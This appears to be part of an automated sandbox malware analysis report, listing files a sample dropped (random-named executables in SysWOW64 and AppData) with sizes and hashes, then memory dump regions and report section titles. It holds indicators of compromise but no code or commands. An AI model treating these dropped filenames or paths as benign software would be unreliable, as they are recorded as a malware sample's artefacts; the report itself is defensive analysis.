C:\Users\Admin\AppData\Roaming\Adminlog.dat

Filesize
15B

MD5
bf3dba41023802cf6d3f8c5fd683a0c7

SHA1
466530987a347b68ef28faad238d7b50db8656a5

SHA256
4a8e75390856bf822f492f7f605ca0c21f1905172f6d3ef610162533c140507d

SHA512
fec60f447dcc90753d693014135e24814f6e8294f6c0f436bc59d892b24e91552108dba6cf5a6fa7c0421f6d290d1bafee9f9f2d95ea8c4c05c2ad0f7c1bb314

Download Submit
C:\Users\Admin\AppData\Roaming\Morfey.EXE

Filesize
161KB

MD5
33fe8d665d1df9b4fe716e30ab88253d

SHA1
b9b687aeb4b21b67db2a948c69cd9cc6e7927334

SHA256
4b5e68c6b34253a92926a3704b8c5a52d8384f5d1688dbed552e3ec99bdd3e0a

SHA512
36d0d383977af56afa93c9c6a15a92e67b2be3d339b4c188c4467aca3e68544383ee3d429e4fc9ede7e63e04e8a9911ec311e58e30e2218920f33b3608a5cfca

Download Submit
C:\Windows\SysWOW64\Aabkbono.exe

Filesize
487KB

MD5
4c480fbc367bb1653881bd2333c22da8

SHA1
b3d97b204994dba7d5332b7e8af86b27839739d8

SHA256
2d8d5d0ca45b3841ce6f5d253cc506b0a7607ad26c8941e5fac33e836800d225

SHA512
7cbac4da2861fb3d91ca3e6fad43b4a6358d3a75e95122c3fe5223f7188c759efd24c99bd12bb9288139678425c1b83245636b02ad3739ca59f95f9ce9ba9926

Download Submit
C:\Windows\SysWOW64\Aiplmq32.exe

Filesize
487KB

MD5
e38f5a0e82f2d8f31d2e6001d044387a

SHA1
83497ad1bba33194de1550fb2261c5490c08c7cd

SHA256
94bdc6b7e20083b3c4c335c8f6c230fa05b4c734fedeade187faf69c2cc41eb4

SHA512
26e1b1159652b73441239c86bc964bbee6da490ef33cdd23e2d0e4e2f1dc4b4358c1e6e378c7cc195380c4031a45e23aec07716aa662fb91ec589199c3572969

Download Submit
C:\Windows\SysWOW64\Ajdbac32.exe

Filesize
487KB

MD5
fcdbdcc44703a359db031dd344c8d235

SHA1
34e446e1079d7e207753d7b153b1d1d54da13a7b

SHA256
9e377979fa0b1610528c50960ee0e7f246080cee1690a064e36df84a00c25d61

SHA512
cf9c3c82d2404c47586708ee5df924533f187e264c7b1f8f210a2ff162b9cb82d30254df4f77ca5b09092b8381781e69071e18a5fd09db66605f9710af28a974

Download Submit
C:\Windows\SysWOW64\Amnebo32.exe

Filesize
487KB

MD5
8103f7490fbebb9c1f0d66d4e0f140d7

SHA1
0e8d5f4ff3236ec9d45ab215ef0e6feb374e258d

SHA256
2f6a43385b21a769b6dfb17ca791fdf0de84b07b07d5cea030789ca6f9174a17

SHA512
bf05c82efb25f15dfcaa311db05ac5ab5975e8401aad74fe6645dfe896fba4603d8687fad5f0bf2eec53795393c96eac5129347e3a7f60bb315aef8ce3d3e4ff

Download Submit
C:\Windows\SysWOW64\Babcil32.exe

Filesize
487KB

MD5
8f2920e36a07e9fd9ef188b279d4cef9

SHA1
f7a81afa73bda847cb1cb50bb714a15873792b9e

SHA256
2729017089246e0eee1ce8a52f05def7d212240980f9b9e8799eb1f90d14e20d

SHA512
20b7aeeb48bfd0c2a66dc772a9b649e2612761f6ce90bc94a61677155c4403910aa48cd40d112192c6d5012a764121cba6e4fcc031f3dc1a078bb0a89fe43aa7

Download Submit
C:\Windows\SysWOW64\Bbhildae.exe

Filesize
487KB

MD5
63957a48aa3ac02fec04472d6cb08034

SHA1
e72e5d362fce542306a2cb5361c493438e7ea0f8

SHA256
d647f4ac62b1708f490615a79e6bafe1f7d00d280559d33b67cf3dc61423fd66

SHA512
96ac6d416d24c6680ea459112bc1ac5770be990350173b967a705abeaaf76feec4a1b407ab6604280eeffbb58857477a637fca78b13dc10d02da002659e1d397

Download Submit
C:\Windows\SysWOW64\Diqnjl32.exe

Filesize
487KB

MD5
98be72c738f9e9e62e306ecdf831d53e

SHA1
725466f53a83dbb45efe600ef437bcd887a01b56

SHA256
97084795df9bbd1b6332f761685fe8608d42f1dee8d482f907b72fdb27bb7142

SHA512
51b98f15045fb40744de01568ebdbac08f0740b4d881dc1b260a039e7aac919a05acf3264d6fc711c6a2debd959e0047e78cfe38133eeba316e13fbf7726f7e6

Download Submit
memory/224-314-0x0000000010410000-0x0000000010475000-memory.dmp

Filesize
404KB

Download
memory/224-320-0x0000000010480000-0x00000000104E5000-memory.dmp

Filesize
404KB

Download
memory/224-280-0x0000000000400000-0x0000000000451000-memory.dmp

Filesize
324KB

Download
memory/224-281-0x0000000000400000-0x0000000000451000-memory.dmp

Filesize
324KB

Download
memory/632-227-0x00000000004B0000-0x00000000004B2000-memory.dmp

Filesize
8KB

Download
memory/632-198-0x0000000000640000-0x0000000000641000-memory.dmp

Filesize
4KB

Download
memory/632-547-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/632-142-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/636-218-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/636-231-0x0000000000580000-0x0000000000582000-memory.dmp

Filesize
8KB

Download
memory/636-209-0x00000000005E0000-0x00000000005E1000-memory.dmp

Filesize
4KB

Download
memory/636-507-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/1224-266-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/1224-489-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/1240-272-0x0000000000780000-0x0000000000A3A000-memory.dmp

Filesize
2.7MB

Download
memory/1576-19-0x00000000068E0000-0x000000000692C000-memory.dmp

Filesize
304KB

Download
memory/1576-5-0x0000000005910000-0x0000000005932000-memory.dmp

Filesize
136KB

Download
memory/1576-23-0x0000000007C70000-0x0000000007D02000-memory.dmp

Filesize
584KB

Download
memory/1576-22-0x0000000008B30000-0x00000000090D4000-memory.dmp

Filesize
5.6MB

Download
memory/1576-0-0x000000007398E000-0x000000007398F000-memory.dmp

Filesize
4KB

Download
memory/1576-128-0x000000007398E000-0x000000007398F000-memory.dmp

Filesize
4KB

Download
memory/1576-21-0x0000000006DD0000-0x0000000006DEA000-memory.dmp

Filesize
104KB

Download
memory/1576-1-0x00000000032C0000-0x00000000032F6000-memory.dmp

Filesize
216KB

Download
memory/1576-494-0x0000000073980000-0x0000000074130000-memory.dmp

Filesize
7.7MB

Download
memory/1576-20-0x0000000007F00000-0x000000000857A000-memory.dmp

Filesize
6.5MB

Download
memory/1576-2-0x0000000073980000-0x0000000074130000-memory.dmp

Filesize
7.7MB

Download
memory/1576-184-0x0000000005640000-0x0000000005641000-memory.dmp

Filesize
4KB

Download
memory/1576-3-0x0000000005990000-0x0000000005FB8000-memory.dmp

Filesize
6.2MB

Download
memory/1576-18-0x00000000068A0000-0x00000000068BE000-memory.dmp

Filesize
120KB

Download
memory/1576-138-0x0000000073980000-0x0000000074130000-memory.dmp

Filesize
7.7MB

Download
memory/1576-4-0x0000000073980000-0x0000000074130000-memory.dmp

Filesize
7.7MB

Download
memory/1576-17-0x00000000064E0000-0x0000000006834000-memory.dmp

Filesize
3.3MB

Download
memory/1576-265-0x00000000055F0000-0x00000000055F2000-memory.dmp

Filesize
8KB

Download
memory/1576-7-0x0000000006260000-0x00000000062C6000-memory.dmp

Filesize
408KB

Download
memory/1576-6-0x00000000061F0000-0x0000000006256000-memory.dmp

Filesize
408KB

Download
memory/1592-343-0x00000000001D0000-0x00000000001E6000-memory.dmp

Filesize
88KB

Download
memory/1816-230-0x00000000005D0000-0x00000000005D2000-memory.dmp

Filesize
8KB

Download
memory/1816-207-0x00000000005E0000-0x00000000005E1000-memory.dmp

Filesize
4KB

Download
memory/1816-521-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/1816-164-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/1840-192-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/1840-224-0x0000000002390000-0x0000000002392000-memory.dmp

Filesize
8KB

Download
memory/2272-513-0x0000000002A60000-0x0000000002A66000-memory.dmp

Filesize
24KB

Download
memory/2272-455-0x0000000000940000-0x00000000009AE000-memory.dmp

Filesize
440KB

Download
memory/2436-653-0x0000000070210000-0x000000007025C000-memory.dmp

Filesize
304KB

Download
memory/2436-771-0x0000000007C80000-0x0000000007C91000-memory.dmp

Filesize
68KB

Download
memory/2436-887-0x0000000007D00000-0x0000000007D08000-memory.dmp

Filesize
32KB

Download
memory/2436-886-0x0000000007DB0000-0x0000000007DCA000-memory.dmp

Filesize
104KB

Download
memory/2436-864-0x0000000007CD0000-0x0000000007CE4000-memory.dmp

Filesize
80KB

Download
memory/2436-856-0x0000000007CC0000-0x0000000007CCE000-memory.dmp

Filesize
56KB

Download
memory/2436-664-0x0000000007940000-0x00000000079E3000-memory.dmp

Filesize
652KB

Download
memory/2436-323-0x0000000005660000-0x0000000005662000-memory.dmp

Filesize
8KB

Download
memory/2436-663-0x0000000006D10000-0x0000000006D2E000-memory.dmp

Filesize
120KB

Download
memory/2436-186-0x0000000005670000-0x0000000005671000-memory.dmp

Filesize
4KB

Download
memory/2436-737-0x0000000007D10000-0x0000000007DA6000-memory.dmp

Filesize
600KB

Download
memory/2436-652-0x0000000007900000-0x0000000007932000-memory.dmp

Filesize
200KB

Download
memory/2436-727-0x0000000007AF0000-0x0000000007AFA000-memory.dmp

Filesize
40KB

Download
memory/3600-205-0x0000000001FB0000-0x0000000001FB1000-memory.dmp

Filesize
4KB

Download
memory/3600-229-0x00000000005E0000-0x00000000005E2000-memory.dmp

Filesize
8KB

Download
memory/3692-369-0x00000000004C0000-0x00000000004F0000-memory.dmp

Filesize
192KB

Download
memory/3776-274-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/3776-480-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/3848-340-0x0000000000AC0000-0x0000000000B1A000-memory.dmp

Filesize
360KB

Download
memory/4008-181-0x0000000001C80000-0x0000000001C82000-memory.dmp

Filesize
8KB

Download
memory/4008-220-0x0000000001C80000-0x0000000001C82000-memory.dmp

Filesize
8KB

Download
memory/4008-182-0x0000000001C90000-0x0000000001C91000-memory.dmp

Filesize
4KB

Download
memory/4048-194-0x0000000000720000-0x0000000000721000-memory.dmp

Filesize
4KB

Download
memory/4048-89-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/4048-553-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/4048-225-0x00000000006D0000-0x00000000006D2000-memory.dmp

Filesize
8KB

Download
memory/4220-118-0x0000000004E90000-0x0000000004E98000-memory.dmp

Filesize
32KB

Download
memory/4220-104-0x0000000000780000-0x00000000007A6000-memory.dmp

Filesize
152KB

Download
memory/4220-196-0x0000000005460000-0x0000000005461000-memory.dmp

Filesize
4KB

Download
memory/4220-226-0x0000000004F00000-0x0000000004F02000-memory.dmp

Filesize
8KB

Download
memory/4460-172-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-203-0x0000000000FF0000-0x0000000000FF2000-memory.dmp

Filesize
8KB

Download
memory/4460-173-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-273-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-276-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-146-0x0000000001000000-0x0000000001321000-memory.dmp

Filesize
3.1MB

Download
memory/4460-140-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-144-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-212-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-152-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-202-0x0000000003BC0000-0x0000000003BC1000-memory.dmp

Filesize
4KB

Download
memory/4460-210-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-302-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-211-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4460-160-0x0000000002740000-0x00000000037CE000-memory.dmp

Filesize
16.6MB

Download
memory/4744-188-0x00000000034D0000-0x00000000034D1000-memory.dmp

Filesize
4KB

Download
memory/4744-39-0x0000000000A20000-0x0000000000A21000-memory.dmp

Filesize
4KB

Download
memory/4744-222-0x0000000003380000-0x0000000003382000-memory.dmp

Filesize
8KB

Download
memory/4820-321-0x0000000000E50000-0x0000000000E51000-memory.dmp

Filesize
4KB

Download
memory/4820-322-0x0000000000F10000-0x0000000000F11000-memory.dmp

Filesize
4KB

Download
memory/4832-378-0x0000000005140000-0x000000000514A000-memory.dmp

Filesize
40KB

Download
memory/4832-382-0x0000000005250000-0x0000000005258000-memory.dmp

Filesize
32KB

Download
memory/4832-353-0x0000000000620000-0x00000000006E2000-memory.dmp

Filesize
776KB

Download
memory/4832-372-0x0000000004F10000-0x0000000004F64000-memory.dmp

Filesize
336KB

Download
memory/4832-379-0x0000000005300000-0x000000000539C000-memory.dmp

Filesize
624KB

Download
memory/5008-536-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/5008-145-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/5008-228-0x00000000004F0000-0x00000000004F2000-memory.dmp

Filesize
8KB

Download
memory/5008-200-0x0000000000500000-0x0000000000501000-memory.dmp

Filesize
4KB

Download
memory/5064-59-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/5064-190-0x0000000000550000-0x0000000000551000-memory.dmp

Filesize
4KB

Download
memory/5064-594-0x0000000000400000-0x000000000047B000-memory.dmp

Filesize
492KB

Download
memory/5064-223-0x00000000004F0000-0x00000000004F2000-memory.dmp

Filesize
8KB

Download
memory/5220-414-0x0000000000B20000-0x0000000000BF4000-memory.dmp

Filesize
848KB

Download
memory/5220-522-0x0000000005770000-0x000000000577E000-memory.dmp

Filesize
56KB

Download
memory/5220-1036-0x0000000008290000-0x0000000008314000-memory.dmp

Filesize
528KB

Download
memory/5292-440-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/5360-888-0x0000000007C80000-0x0000000007CA2000-memory.dmp

Filesize
136KB

Download
memory/5596-833-0x000001CC26B30000-0x000001CC26B52000-memory.dmp

Filesize
136KB

Download
memory/5648-451-0x0000000000400000-0x00000000004CA000-memory.dmp

Filesize
808KB

Download
memory/6024-641-0x00000000050B0000-0x00000000051BA000-memory.dmp

Filesize
1.0MB

Download
memory/6024-651-0x0000000005040000-0x000000000507C000-memory.dmp

Filesize
240KB

Download
memory/6024-636-0x0000000005F30000-0x0000000006548000-memory.dmp

Filesize
6.1MB

Download
memory/6024-612-0x0000000000400000-0x0000000000452000-memory.dmp

Filesize
328KB

Download
memory/6024-642-0x0000000004FE0000-0x0000000004FF2000-memory.dmp

Filesize
72KB

Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads